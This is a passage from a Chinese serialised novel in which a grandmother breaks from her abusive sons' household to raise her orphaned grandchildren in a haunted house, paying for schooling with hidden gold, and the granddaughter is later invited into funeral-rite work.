毕竟想要整治一个手无寸铁要仰息他人施舍而活的孩子,手段多的是——
指桑骂槐的嘲讽、见面就摆臭脸的冷暴力、颠倒语序亦真亦假蒙太奇式谎言泼脏水……
双拳难敌四手,种种手段,兄妹俩哪里招架得过来。
吃穿靠他人,总要低人一头。
村里人大多都吃不饱穿不暖,也没那个闲钱时间去帮扶他人,一次两次……人情最易消耗,夏听蝉后来再嚷着要人主持公道,也无人搭理。
孤立无援。
*
又一次到了饭点,夏大雨和夏听蝉盛好粥和菜,端着碗到角落去了。
大伯母心疼地看着被舀去的粥和夹走的菜,瞪了一眼,开始分发任务:“等下大雨你和你妹去背花岭那块田挑水浇地。”
“他呢?他呢?他呢?”夏听蝉指着几个堂哥堂弟问。
“他们也有活要干?”
“什么活?
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”
见她一副打破砂锅问到底的倔强模样,大伯母将筷子摔到桌上,发出重重的响声,像要吓唬谁似的,厉声道:“问问问!有什么好问的!你要是不想干活想当千金小姐,到别家去!”
“你欺负人!我们干重活,他们干轻活!我不服!”夏听蝉气鼓鼓地怒瞪回去,撸起袖子仿佛下一秒就要与人干架。
背花岭那是梯田,离水源很远,且道路杂草多,难走得很。
两兄妹就是挑上一天的水,都不能将地浇完,之前都是家里大人轮流挑水浇的。
“拈轻怕重不像话!你不服也要干,不然没饭吃!”大伯母走过去,恶狠狠地掐了一下旁边的夏大雨,“你去不去?”
屋里其余的人睁眼瞎,似乎都没看到他们的争执,一个个伸长了筷子,将盆里的鱼戳烂,肉沾上汁送粥,吧唧吧唧着嘴吃得喷香。
“妹……”夏大雨吃痛地皱了皱眉,不敢闪躲,恳求地看向夏听蝉,希望她不要闹起来。
“胆小鬼!”夏听蝉见夏大雨畏畏缩缩的样子,打心底瞧不起,推了一把大伯母,扭头就走。
“妹,等等我。”夏大雨连忙追上去,讨好道,“我一个人挑水就好,别生气。”
“你就是个傻子!”夏听蝉很愤怒,但她现在的力量太小了,根本反抗不了。
而且她不干,活全落到夏大雨的肩上,夏听蝉良心难安。
最后她还是去挑水了,挑得肩膀破皮,脚底板流血,等太阳落山回到家,整个人累得哪怕吃饭都提不起劲。
人与人之间的较量就是你进一步,我退一步,欺软怕硬是人的本性。
夏听蝉一时示弱,换来的只有得寸进尺的奴役。
在后来夏东和夏南以家里没钱为由,要求夏大雨辍学,而他们的孩子却正常上学,夏听蝉对爸妈的逝去有了更深的感触。
她争她吵她闹她哭,甚至保证吃少点,干多点,但没人在乎,一点儿用都没有。
夏大雨也保证等以后赚钱了,一定会回报他们,但没人听,没有一点儿用。
“读书才能出人头地。”
这句话是村里一位名叫何宇平知青说过的,那时他坐在坡地上,看着前方,金灿灿的稻浪随着风如海浪般翻涌,一层层推向远方,勾勒出一副动人的画卷。
“你要是想走出这座大山,一定要努力读书,我相信总有一天,你一定能实现梦想!”何宇平转头,看向旁边的夏大雨,那殷切的眼神仿佛在他的心里注入了一股力量,有一颗种子悄然埋下。
那时夏大雨的梦想是长大后有钱和家人们去北京看一看天安门、爬一爬长城,再尝一尝烤鸭,而现在他的梦想是等读书出来,找份好工作养活妹妹,不让她受委屈。
何宇平在返城前一天,还和夏大雨许下十年之约——在北京见面。
如今看来,希望破碎,约定落空。
夏大雨很沮丧,争吵无果,无计可施。
“我供大雨上学。”
一道弱弱的声音裹挟在尖锐刺耳的吵闹中,并没有人听见。
“我供大雨上学!”
犹如惊雷乍响,这一次,大家听见了,循声望去。
30. 粗俗做斋女VS高冷科研男
角落里,有一缕晨曦投射进来,映照在夏奶奶沟壑纵横的脸上,半明半暗间,她浑浊的眼睛迸发出亮光。
平时低垂的头仰起来,身上的怯懦一扫而光,见大家望过来,夏奶奶再次坚定地重复:“我要供大雨上学!”
静了一瞬,下一秒,仿佛沸腾的油锅滴下一滴水,炸开了。
夏东不可置信地瞪大了眼,眼前的老母亲似乎都不认识了:“妈,你哪有钱供他上学?别你放出的话,到头来还是要我管!”
“妈你鬼上身了?!”夏南惊讶得下巴都要掉了,亦是一脸不赞同,“这年头识得几个字够用了,上学费那个钱,不如拿去买东西吃。”
“老婆子这么说,私底下不知藏着多少钱呢。”大伯母和二伯母嘀咕。
“就是就是,平时真看不出来啊,没想到她会为大雨出头。”二伯母精明的眼睛滴溜溜的转,已经在想要怎么从她兜里挖点钱使使。
“……”
在场的每个人都有自己的算计。
反对的声音此起彼伏,夏奶奶被这么多目光注视着,难免心慌慌,腿颤颤,要是按以往,为维持家里的平和,她早就妥协了。
可这一次,她也说不清,为什么不想妥协了。
*
夏奶奶这一生,在家从父,出嫁从夫,夫丧从子,活得浑浑噩噩,就像一头被绳索套住,拉着磨盘日复一日转啊转的驴。
没人在意她的想法,她也从不会动脑思考,反正照他们说的去做就是。
一直以来,夏奶奶在人们的印象之中,就是一个灰扑扑的影子,是一块普普通通的石头,是随处可践踏的野草……
简而言之,她从来都不是被重视的那一个。
父不喜,夫不爱,子不尊,这九个字奠定了她被忽视被嫌弃的的家庭地位。
所以这次当她发出自己的呐喊,有的只是对她不自量力的不屑以及想压榨尽她每一滴血的算计。
他们反对的样子像是张开血盆大口的蟒蛇,伺机着将她们吞噬殆尽,本就不勇敢的夏奶奶节节败退。
【要不算了,不读书又不会死。】
这样的念头攀上心头,夏奶奶佝偻的身躯在一声声怪罪中更弯了。
这一刻,她像是不懂事的孩子提出了过分的要求,被家长责骂她不够体贴。
“……”
“死老太婆,你要是不把钱拿出来,小心我们不给你养老!”
“你才是死老太婆,放开奶奶!”
争吵越来越激烈,眼见二伯母上手推搡人,夏听蝉狠狠地用头撞过去,挡在奶奶的前面。
“奶奶供我读书,以后我给她养老!”夏大雨站出来大声说。
“等你读完书出来工作,估计你奶奶坟头草都老高了。”大伯母冷嗤,什么话难听说什么。
“分家!我和他俩分出去过!不碍你们的眼!”夏奶奶再次硬气起来,望向儿孙的眼神,有委屈,有不甘,还有一丝从未有过的倔强,“夏北要是看到你们这么糟践他的孩子,小心他半夜从黄泉回来找你们算账。”
在场有做亏心事之人难免心虚。
气氛滞了滞,看着平时连大气都不敢喘的母亲,现在为了两个兔崽子毫不退让,连分家的话都说出来了,夏东和夏南的心堵得厉害。
习惯了索取的人,没便宜占了,自是不肯。
“分家?你让外人怎么看我们?不能分家!”夏东眉头皱得紧紧的。
两个儿媳妇也不想失去这头任劳任怨的老黄牛,咄咄逼人的态度收敛了些,打着圆场道:
“婆婆下次不要再说这些不利于家庭团结的话,你养他大,他养你老,分家不像话。”
“就是就是,你都这把年纪了,就不要折腾这些有点没的。”
“……”
“你们不让他读书,我就要分家。”夏奶奶声音带了点颤,却没后退半步,“我带他们分出去住!”
“你们外面哪有房子住?”
“就背花岭那处废弃的黄泥屋。”
争来吵去,话题再次回到原点,谁都说服不了谁,局面一下子僵住了。
“大哥,妈是犯起倔了,一个老太婆带着两个孩子生活,哪有那么容易,就让他们吃点苦头罢。”夏南将夏东拉到一旁,悄声说。
夏东转念一想,妈的年纪越来越大了,干活不利索,在家也是累赘,分家也好。
兄弟两对视一眼,达成了共识。
“妈,儿子没本事,赚不了什么钱,既然你铁了心要供大雨读书,那分家就分家吧,如你的意。”夏东话说得漂亮,做的事也让人无法指摘,“分家后,每月该给你的粮食,我家的那份不会少。要是你们在外面过不下去了,欢迎随时回来。”
“妈,我和大哥想法一样。”夏南顿了顿,一副无奈样,“不是儿子不孝要赶你出去,是你自己要分家的,可别在外面说三说四。”
“知道。”
虽说分家是她提起的,但当儿子们真的同意时,夏奶奶的心不可避免地颤了颤,不由得对未知的未来感到迷茫。
眼神游移,从一张张脸上掠过,最后停留在夏听蝉的身上,有了归属感。
夏听蝉是这个家唯一看得见夏奶奶的人——
会在她干活累时端上一杯水,会在她借口说不喜欢吃肉时强硬夹肉给她吃,会在她生病时上山采药熬药,会和她分享糖吃甜嘴,会在其他家人否定她的价值时站出来赞她是最能干的奶奶……
他们都说夏听蝉是个“赔钱货”,夏奶奶也打心底认同这句话,她和大众一样,也是不喜欢赔钱货的。
但如果赔钱货是夏听蝉,夏奶奶的心早在不知不觉中被攻陷了。
她这一生喜欢的东西几乎没有,夏听蝉算是一个。
*
分配好家里钱票物件土地等,商量好事宜,再请族老过来见证,在协议书上摁手印,就分好家了。
锅碗瓢盆桌椅、衣服被子鞋袜、米面粮油酱醋……满满当当地装了一斗车。
走出这个住了近四十年的屋子,夏奶奶忍不住回头看了一眼,屋顶上的多肉一簇簇一团团,屋檐下挂着成串的大蒜和玉米,挂在竹竿上衣服随风飘扬,墙角的柴垛高高叠着,几只鸡在地上啄食……
一切都没变,只是她不在这住了而已。
大媳妇和二媳妇倚靠在墙上,嗑着南瓜子,瞥向她的眼神带着嫌弃,哪怕是挽留的客套话,一句也没有说。
“走吧。”夏奶奶叹了口气,转过身不再看,她在前面拉车,夏大雨和夏听蝉在后面推。
斗车往前行驶,他们也要往前走了。
“奶奶,你别难过,我们的日子会好起来的。”夏听蝉看着夏奶奶满是落寞的样子,安慰道。
“嗯,会好起来的。”夏奶
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奶喃喃,像是说给她听,又像是说给自己听。
夏大雨也说:“奶奶,我会加油干活撑起家。”
“好好好。”
夏听蝉:“我以后少偷点懒……”
一阵风吹过,他们的话语吹散在空气中,飘得很远很远。
往村子西头走,路越来越难走了,经过坑坑洼洼的黄泥路,来到深一脚浅一脚的草地路,再穿过窄窄的山路,终于到达目的地。
“新家”是之前知青点住满了人,三位女知青合伙建的,两房一厅一厨房一井,可惜久无人住,杂草丛生,风吹日晒雨淋下,屋顶破了个口子。
破破烂烂的木门斜挂在梁上,一拉就“吱呀——”怪叫,再一推,整扇门“嘭!”一声倒地,灰尘飞扬。
厅堂里,缺胳膊断腿的桌椅横七竖八乱放着,墙角潮得长了层黑绿色的霉斑,还有一些蘑菇长在了房梁上……
处处散着一股破败的气息。
夏听蝉的目光不自觉在房梁上多瞅了几眼,这是一根有故事的房梁——
住在这里的一位女知青因被村里的二流子奸污,虽然后来二流子被抓枪毙了,但村里人指指点点说她水性杨花发骚勾引人,不堪其辱,没过多久就上吊自杀了。
其余两位女生不敢再在这住,只能回知青点和别人挤着。
不是没有人打这间屋子的主意,但住进来后发现晚上睡觉,总能听见凄厉的哭声传来,且人开始走霉运,哪怕是走在平地上都能摔一跤,喝水都能呛到。
久而久之,有关于这间屋子的恐怖传言越来越恐怖,成了大人吓唬孩子的“鬼屋”。
也是没办法,夏奶奶才会来这住,她这一生自认为没做过什么亏心事,所以不怕鬼敲门。
就是有鬼,她也敢一起唠嗑唠嗑,见识一下。
夏奶奶从小到大再到老,被充满苦难的生活捶惯了,不管好事还是坏事降临到她的身上时,她唯一的解决方法就是——
接受。
不接受也没法,她深知这个道理。
【分家】大概是她这辈子所做过的最叛逆的事。
她不知道以后会不会后悔,但现在她的心情是带着一点点欢喜的。
前面是好的还是坏的变化在等着她,她都会去接受。
“不要怕,我们是好人,鬼不会害好人的。”夏奶奶见兄妹二人进了房屋之后,犹如惊弓之鸟,一点点风吹草动都会吓得缩一缩,木着一张脸开解道。
“真的吗?”
“真的。”
鬼才知道鬼会不会害好人,夏奶奶心里其实也没底,但面上的淡定还是骗过了他们。
夏大雨和夏听蝉开始回忆自己有没有做过什么坏事。
糟了,还真有害人之举!
“奶奶,我以前把鸡屎抹在大伯的衣服上,还在饭菜里加石头,脱别人的裤子……我做了好多坏事,我是坏人,鬼要教训我怎么办?”夏听蝉掰着手指一一列举着,都快要哭了。
夏大雨则想起有好几次因为太饿,去田地偷别人瓜吃的经历,亦是一脸担忧鬼上门。
“你们这不算,要害死过人,鬼才会去报仇。”夏奶奶郑重其事地说。
“那就好,那就好。”
兄妹俩拍了拍小心脏,相视一笑:“我们都没害死过人,不怕鬼报仇嘿嘿。”
话不多说,三人齐心协力忙活起来。
31. 粗俗做斋女VS高冷科研男
虽说分家了,但作为儿子,夏东和夏南还是愿意出面帮忙修补房子,不至于让人诟病。
忙忙碌碌,扫扫抬抬,修修补补,不过一天的功夫,原本破败的房子焕然一新。
村里现在的风向都说夏奶奶老糊涂了,放着身强力壮的儿子不要,要去管还未长成的孙子,等着吧,一老两小准会饿死。
因为是夏大雨要读书才闹的分家,所以大部分村人们都觉得管吃管喝的夏东和夏南两兄弟仁至义尽,并没有唾骂他们。
反而觉得夏大雨不懂事,一点儿都不会体谅大人。
但不管他们怎么说,祖孙三人关起门过好自己的日子,没有理会外面的纷纷扰扰。
被两个孩子全心信任着,遇上什么事都会问她的意见,这对夏奶奶来说是很新奇的体验。
她第一次觉得自己是重要的、有价值的。
夏奶奶刚开始很不适应,可对上两双眼巴巴望着她的眼睛,只能让自己快速成长起来。
她的脑子开始学着思考,遇到问题不再等别人的指令,而是成了下指令的那个人。
“奶奶,我们要怎么赚钱呢?”夏听蝉一只手托着下巴,很是苦恼的样子。
“奶奶,要不我迟一两年再去上学吧。”夏大雨也知道现在家里的条件,说,“我听说隔壁村建了砖窑,还在招人,我想去搬砖赚钱。”
“不用,我有钱。”对于供夏大雨上学,夏奶奶当然不是无的放矢。
“啊?你有钱?”
“奶奶你真的有钱吗?”
兄妹俩是知道的,之前奶奶就没管过钱,平时要买点什么东西,都是问爷爷要钱。
爷爷死后,是大伯管家里的钱。
偶尔夏奶奶拿用竹子编好的篮子去圩上卖或和别人换点其他东西,赚了点钱,很快也会被各个孙子以各种理由搜刮去。
所以当听到奶奶说有钱,他们第一直觉就算不信。
夏奶奶得意地笑了,笑意从嘴角漫到眼底,沧桑的脸庞透出几分罕见的调皮,但这个表情她不常做,很快她就抿起嘴角,恢复成以往那副麻木模样。
她手指无意识摩挲着鸡血藤镯子,眼神慢慢飘向窗外,思绪飘得很远很远。
那一年她嫁到见夏村没两个月,有次独自上山砍柴,见到了一个浑身血淋淋的男人躺在草地上,生死不明。
她登时吓了一跳,下意识想跑,忽然一道亮光闪了眼。
定睛一看,是一块掉落在地上的怀表,被一缕阳光照耀着,反光了。
他的旁边还有两个雕刻着繁复花纹的红木箱子,看着就很贵重。
夏奶奶环顾四周,映入眼帘的只有郁郁葱葱的树木,耳边时不时响起鸟叫声,阵阵清风穿过树林时,枝叶哗啦啦地翻涌。
风渐小,不一会儿,风停树静。
静悄悄的,唯有“嘭嘭嘭”的心跳如擂鼓,手心冒汗,她整个人的精神变得亢奋。
慢慢挪步过去,蹲下身,小心翼翼地伸出食指,往他的鼻翼间探了探。
没有感受到呼吸,夏奶奶哆嗦着跌坐在地上。
她的眼睛不受控制地往怀表那处看了又看,似乎在召唤着她。
他人都死了,剩下的东西也用不上,即使她不捡,也会便宜其他路过的人。
既然她碰上了,说明该她得这笔横财。
夏奶奶开解完自己,鼓起勇气搜刮了男人全身,像寻宝般,边找出一些东西边惊叹——
钱票、金条、小刀,还有袜子里藏着一张小小的纸,密密麻麻地写满了字,夏奶奶不识字,丢开了。
摸着他身上衣服的料子,夏奶奶也很心动,不过看到血迹斑斑,想想还是算了。
可惜箱子被锁着,打不开,她拿起来摇了摇,听不出里面藏着什么,还是拿回去再研究吧。
夏奶奶已经打算好要怎么分配这些钱了,父母、公婆、丈夫、兄弟姐妹,每人都分一笔。
拿了人家钱财,夏奶奶决定给他挖个坟立个碑,不至于让他无人收尸成孤魂野鬼。
不过要先回家拿锄头。
夏奶奶将搜刮下来的东西藏在柴木里,脚步欢快地往家里赶去。
刚藏好东西歇一歇,就听见外面传来敲锣声和嘈杂的说话声。
夏奶奶心里一紧,走出去一看,只见村长带着几个军官模样的人召集大家到晒谷场上开会。
一想到他们很大可能是为那个死去的男人而来,那些钱财保不住,这对于那时的她来说,得到过又失去,简直是要挖她的心。
夏奶奶决定走一步看一步,混在人群中和大家一样,露出迷茫又好奇的表情。
原来,那些军官在抓捕特务,沿着留下的踪迹,来到了见夏村。
见夏村被山环绕,地形复杂,想要找到一个人并非易事,所以想借助群众的力量一起去搜寻。
一提到特务,人人义愤填膺,气氛一下子燃到高潮。
一声令下,男男女女操起家伙,以见夏村为中心,四处扩散。
夏奶奶见事情闹得这么大,心里七上八下的,直觉那个人就是特务,可拿了他的东西,且第一时间没有报备上去,她又嫁过来没多久,和村人都不太熟悉,要是现在说的话,会不会被当作是同伙?
她纠结着。
没过多久,那具尸体就被发现了,夏奶奶作为一个看着胆小内敛的新媳妇,没有人怀疑过她和特务有交集。
军官们没调查出什么,发生在见夏村的事情也落下帷幕。
再后来的事情,不得而知。
夏奶奶私底下砸开过红木箱的锁,一个箱装着满满的金条,另一个箱则装着一把枪。
这两样东西对于她这样生活在贫穷家庭的人来说,拿出去是会要人命的。
本想着要和家人分的钱财也不敢分了,夏奶奶在后屋挖出一个洞埋好,自此也将这个秘密藏在心里。
“奶奶,你在想什么呢?”夏听蝉的手在夏奶奶面前晃了晃。
飘远的思绪像被拉回的风筝,从旧时光回归到当下。
说得再多,不如眼见为实。
“等一下。”夏奶奶转身回到房间,关上门,将床挪开一点点,然后挖出一个洞,掏出里三层外三层包得严严实实的箱子。
打开箱子,从里面拿出一根金条。
“喏,这能换钱。”
现在局势没有那么动荡,而且过去那么多年,夏奶奶觉得只要谨慎些,不会被查到。
看着被摆在面前的金子,夏大雨和夏听蝉瞪大了双眼,你争我抢着要咬一咬看是不是真的。
“有牙印,是真的!”夏听蝉兴奋地拍起掌。
“有钱了!太好了!”夏大雨终于不用担心学费问题,这一刻,心里的石头落地。
看着他们高兴的样子,夏奶奶也很高兴,不过没有如实告知金条的由来,只说是无意间捡到的。
将金条换成钱后,日子虽然没有再过得捉襟见肘,但明面上怕招人嫉妒,祖孙三人对外还是一副饥不裹腹的可怜样。
夏奶奶还想着偷偷塞点钱给儿子,也改善一下生活,但他们开口就是“妈,你知道错没?”的教训话。
既然他们这么有本事,想来不靠她也能过得好,刚想从口袋掏出的钱又放了回去。
离开老宅,对于夏奶奶来说,好比头顶上的大山被搬开,阳光照射进来,阴霾一扫而空。
夏大雨每天放学回到家,都会抽出时间教夏听蝉识字数数。
在旁编竹篮的夏奶奶听着他们朗朗的读书声,心头欢喜,想着这学费交得值,日子是越来越有奔头。
一天天过去,想象中妈会带着两兄妹回老宅求援的场景并没有出现,夏东和夏南不免有些失望。
听多了枕边风,两兄弟也觉得夏奶奶不如表面上的那般老实,之前一定藏了不少私房钱。
于是今天不是这个上门哭穷,明天就是那个堵路喊饿。
夏奶奶深知他们的本性,只要开了这个口,等待她的将是无止尽的索取。
所以她也哭穷喊饿。
后来见讨不到便宜,反而因为孝道搭出去不少粮食,兄弟俩不再纠缠,路上见了夏奶奶,掉头躲开。
*
不知不觉,冬天来了。
南方的冬天没有漫天大雪,有的只是湿冷湿冷的空气,猛地吸一口气,能冻到肺里。
在见夏村,过冬全靠抖,寒气会往骨头缝里钻,只有活动起来,血液流通,才会感觉到暖。
夏听蝉最讨厌冬天里的下雨天,讨厌潮湿被沤臭的衣服,讨厌刀片一样的冷风,讨厌睡觉难以捂热的脚……
八岁那年的冬天,更是讨厌。
这是第一个没有爸妈陪伴的冬天。
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夏听蝉冻着冷着,又开始感到难过。
她每天撕掉日历数着日子,期盼春天的到来。
然而春天迟迟不来,村里的一位叔公没熬过去,也死在了那年冬天。
夏听蝉跟着大人去参加丧事。
灰蒙蒙的天,绵绵细雨,飕飕冷风,三样寒冷因素汇集,有着难以抵御的冻力。
在露天哭丧的人们直打寒颤。
□□和灵魂都备受折磨。
夏听蝉冻得全身发麻发抖。
她在心底咒骂天,咒骂雨,咒骂风,也咒骂叔公,死得太不是时候了。
又是一阵风吹过,白幡飘扬,纸钱如蝶般纷纷扬扬,夏听蝉不小心被黄表纸烧的灰迷了眼,泪水如断了线的珠子滑落。
“哥。”她扯了扯旁边夏大雨的衣摆。
“怎么了?”
“有东西进我的眼睛里。”
“别揉,我吹吹。”
夏大雨吹了一下,夏听蝉眨眨眼,灰烬顺着眼泪流出来。
“好了。”
两人没再说话,跟着队伍跪在地上,滥竽充数地哭着。
这地跪着真冷啊,腿好痛,好想站起来,但大家都保持着跪姿,她也不敢轻举妄动。
越想越难受,只好转移注意力。
夏听蝉看看这个,瞧瞧那个,每当视线不小心与不远处的纸人对上时,她都会赶紧移开。
眼前所见的一切阴森又恐怖。
她感到害怕,曾经听过的鬼故事在这一刻具象化了,仿佛下一秒就会有鬼不知从哪里飘出。
到今天为止,夏听蝉参加了两场葬礼,另一场是爷爷爸爸妈妈的,那时夏听蝉浑浑噩噩,不是哭累就是哭晕过去了,对丧事并没有什么实感。
但现在,她以局外人的视角看着发生的一切。
哀哀戚戚的哭声,含糊不清的念经,震耳欲聋的哀乐,拖腔带调的祭文……
声声在夏听蝉的耳边环绕。
有人带着古怪面具跳舞,吓人得很;还有扒饭、过桥、点香、烧纸……
一幕幕场景在眼中闪过。
被这伤感的气氛感染,夏听蝉想着爸妈在地底下有没有新衣穿,有没有饭吃饱,有没有钱够花……
想象中爸妈过得并不好,不禁悲从中来,泪如泉涌,嚎啕大哭。
哭声震天,与旁边的低泣声形成了鲜明对比。
有人见此,小声议论起来:“这孩子,是个有孝心的。”
叔公的乖女孝子贤孙见此,不能容忍被旁支的小孩比下去,于是一个哭声更比一个高。
夏听蝉没察觉到他们的攀比之心,沉浸在悲伤之中,默默祈祷着叔公要是在那边见了她的爸妈,麻烦多多照顾,她会烧多多纸钱的。
这么一想,她也不感到害怕了。
时间在流逝,太阳快要下山了。
夏听蝉看到了让她疑惑的一幕——
灵堂的白幡还没撤下,大人们搬出几张圆桌,端上菜肴,摆起碗筷,开始吃吃喝喝,说说笑笑。
酒杯碰撞的脆响混着零星的谈笑声,盖过了隐隐约约从某个角落传来的哀戚。
先前声势浩大的葬礼仿佛是错觉。
男人们围坐在桌边划拳喝酒,你来我往好不开心!
女人们则凑在一起唠着家常,你一言我一语好不热闹!
偶尔有人提起叔公,也只是轻描淡写说“走得安详”“是喜丧”“不折磨子女”之类的话,恍若叔公的死亡是无足轻重的,对于他这个人消逝于人间,是件值得庆贺的事。
一张张哭泣的脸和一张张微笑的脸在夏听蝉的脑海中重叠后,交错浮现。
像极了一场荒诞的情景剧,上一秒哭,下一秒笑,切换得极其突兀。
那时,年仅八岁的夏听蝉不明白为什么会这样,他们的悲喜怎么能这般收放自如?
他们是怎么做到的?
她小小的脑袋有着大大的疑问,想问些什么,又不知道该问些什么。
就算问出了什么,她也改变不了什么。
夏听蝉为叔公感到不值,她在心里默念着:
【叔公,你死了,我很不开心,我为你哭你看到了吗?我给你烧钱了你收到了吗?你和我爷爷,还有我爸妈,在那边好好的啊。】
想着想着,她又想哭了。
32. 粗俗做斋女VS高冷科研男
夏听蝉的哭声有穿透力又有感染力,加上她家最近是见夏村的话题热议中心,不少人的目光放在兄妹俩的身上,围绕着说个不停——
“可怜哟,爸妈都没了,现在跟着奶奶住在‘鬼屋’,前几天听蝉从我家门前经过,我塞了几根番薯让她带回去吃,好歹能吃一餐。”
“分家那点钱,夏东她妈不会都给大雨去上学了吧,真是要喝西北风哟。”
“听说分家时,夏东她妈藏着一笔钱没分为两个儿子,不然怎么会分家那么爽快呢?”
“我看那两兄妹克爷克夫克母,还是分开住好,不然小心那天被克死了都不知道。”
“……”
那些话越说越过分,如同针刺一样扎进兄妹二人的心里。
夏听蝉犹如被点燃的炮仗,眼泪一抹,瞪眼呲牙,当场和他们吵起来。
都是同一个村的,谁不知道谁家的屎尿,大家互揭短互骂呗。
“小小年纪,嘴巴那么厉害,我看以后村里谁还敢靠近你们。”有人被捅破糗事说不过,气恼地留下这一句走开了。
“不说了不说了,吃饭吃饭。”又有人打着圆场。
“大雨,听蝉,来吃饭了。”夏东不知从哪冒出来,招招手,又对旁边的人陪笑,无奈道,“两个孩子脾气是有点大,我不是亲爸,也不好管。”
“你这个大伯做得可以了……”有人顺着台阶下,捧起夏东的臭脚来。
呵,刚才他们被人挤兑假装没看见没听见,吵完了才假惺惺出面维护和平,夏听蝉对这个大伯也没有什么好感。
反正在村里人看来,现在她和哥
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哥是谁都可以踩一脚的程度。
夏听蝉的视线一一从那些看笑话的人脸上扫过,捏紧了拳头,暗暗发誓着有朝一日,出人头地了,要叫那些看不起她的人后悔!
她大口大口扒着米饭,咀嚼时腮帮子绷得发紧,带着股咬牙切齿的狠劲,仿佛吃的不是饭,而是泄愤的对象。
“你这女娃子,脾气真辣,有没有兴趣跟我混?”坐在旁边一位不认识大爷饶有兴趣地问。
“跟你混?混什么?有饭吃吗?”夏听蝉疑惑地看向他。
大爷身材微胖,国字脸,古铜色的脸庞上,有着一双炯炯有神的眼睛,鼻梁高挺,留着八字胡,看起来不像是庄稼汉。
“做斋,怕不怕?跟我混,管饱。”大爷和夏北有点交情,且看夏听蝉是个伶俐的,就想着拉一把。